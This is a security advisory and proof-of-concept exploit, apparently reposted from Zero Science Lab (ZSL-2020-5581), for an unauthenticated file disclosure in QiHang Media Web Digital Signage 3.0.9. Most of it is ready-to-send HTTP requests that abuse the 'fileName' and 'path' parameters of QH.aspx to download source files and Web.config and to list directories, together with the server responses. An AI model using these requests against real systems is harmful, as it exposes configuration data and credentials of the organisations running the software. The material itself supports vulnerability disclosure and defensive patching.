扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 |
# Exploit Title: QiHang Media Web Digital Signage 3.0.9 - Unauthenticated Arbitrary File Disclosure # Date: 2020-08-12 # Exploit Author: LiquidWorm # Vendor Homepage: http://www.howfor.com # Tested on: Microsoft Windows Server 2012 R2 Datacenter # CVE : N/A QiHang Media Web (QH.aspx) Digital Signage 3.0.9 Arbitrary File Disclosure Vulnerability Vendor: Shenzhen Xingmeng Qihang Media Co., Ltd. Guangzhou Hefeng Automation Technology Co., Ltd. Product web page: http://www.howfor.com Affected version: 3.0.9.0 Summary: Digital Signage Software. Desc: The application suffers from an unauthenticated file disclosure vulnerability when input passed thru the 'filename' parameter when using the download action or thru 'path' parameter when using the getAll action is not properly verified before being used. This can be exploited to disclose contents of files and directories from local resources. Tested on: Microsoft Windows Server 2012 R2 Datacenter Microsoft Windows Server 2003 Enterprise Edition ASP.NET 4.0.30319 HowFor Web Server/5.6.0.0 Microsoft ASP.NET Web QiHang IIS Server Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2020-5581 Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5581.php 27.07.2020 -- Source code disclosure PoC: --------------------------- GET /QH.aspx?responderId=ResourceNewResponder&action=download&fileName=.%2fQH.aspx HTTP/1.1 Host: 192.168.1.74:8090 User-Agent: lfi_test.wrapper/2.9 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Connection: close -- HTTP/1.1 200 OK Server: HowFor Web Server/5.6.0.0 Date: Sun, 26 Jul 2020 22:49:08 GMT X-AspNet-Version: 4.0.30319 Content-Disposition: attachment;filename=QH.aspx Set-Cookie: ASP.NET_SessionId=f0xji5cazmbzdygcr5g3qr03; path=/; HttpOnly Cache-Control: no-cache Pragma: no-cache Expires: -1 Content-Type: application/zip Content-Length: 463 Connection: Close <%@ Page Language="C#" ValidateRequest="false" AutoEventWireup="true" CodeBehind="QH.aspx.cs" Inherits="QiHang.Media.Web.QH" %> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head runat="server"> <title></title> </head> <body> <form id="form1" runat="server"> <div> </div> </form> </body> </html> Arbitrary file read: -------------------- http://192.168.1.74:8090/QH.aspx?responderId=ResourceNewResponder&action=download&fileName=.%2fGlobal.asax http://192.168.1.74:8090/QH.aspx?responderId=ResourceNewResponder&action=view&fileName=.%2fWeb.config Directory contents disclosure: ------------------------------ POST /QH.aspx HTTP/1.1 Host: 192.168.1.74:8090 Content-Length: 62 User-Agent: lfi_test.wrapper/2.9 X-Requested-With: XMLHttpRequest Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Accept: */* Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Connection: close responderId=ResourceNewResponder&action=getAll&path=&fileName= -- HTTP/1.1 200 OK Server: HowFor Web Server/5.6.0.0 Date: Tue, 28 Jul 2020 23:51:13 GMT X-AspNet-Version: 4.0.30319 Set-Cookie: ASP.NET_SessionId=f0ac1jyifcacvufnpptduv1f; path=/; HttpOnly Cache-Control: no-cache Pragma: no-cache Expires: -1 Content-Type: text/html; charset=utf-8 Content-Length: 4680 Connection: Close { "first": true, "second": [ { "name": "App_Data", "type": "folder", "size": 852992.0, "uploadTime": new Date( 1525316885250 ), "path": "/App_Data" }, { "name": "bin", "type": "folder", "size": 4398172.0, "uploadTime": new Date( 1525316885046 ), ... ... "name": "xml", "type": "folder", "size": 25519.0, "uploadTime": new Date( 1525316885234 ), "path": "/xml" }, { "name": "default.htm", "type": ".htm", "size": 1609.0, "uploadTime": new Date( 1523859040000 ), "path": "/default.htm" }, { "name": "Global.asax", "type": ".asax", "size": 100.0, "uploadTime": new Date( 1523859032000 ), "path": "/Global.asax" }, { "name": "IIS.dll", "type": ".dll", "size": 40960.0, "uploadTime": new Date( 1523859036000 ), ... ... "path": "/Media.Server.DeamonPlugin.Web.xml" }, { "name": "preview.htm", "type": ".htm", "size": 947.0, "uploadTime": new Date( 1523859040000 ), "path": "/preview.htm" }, { "name": "QH.aspx", "type": ".aspx", "size": 463.0, "uploadTime": new Date( 1523859030000 ), "path": "/QH.aspx" }, { "name": "server.xml", "type": ".xml", "size": 206.0, "uploadTime": new Date( 1523859034000 ), "path": "/server.xml" }, { "name": "Web.config", "type": ".config", "size": 2470.0, "uploadTime": new Date( 1523859034000 ), "path": "/Web.config" } ], "third": 0 } |
体验盒子
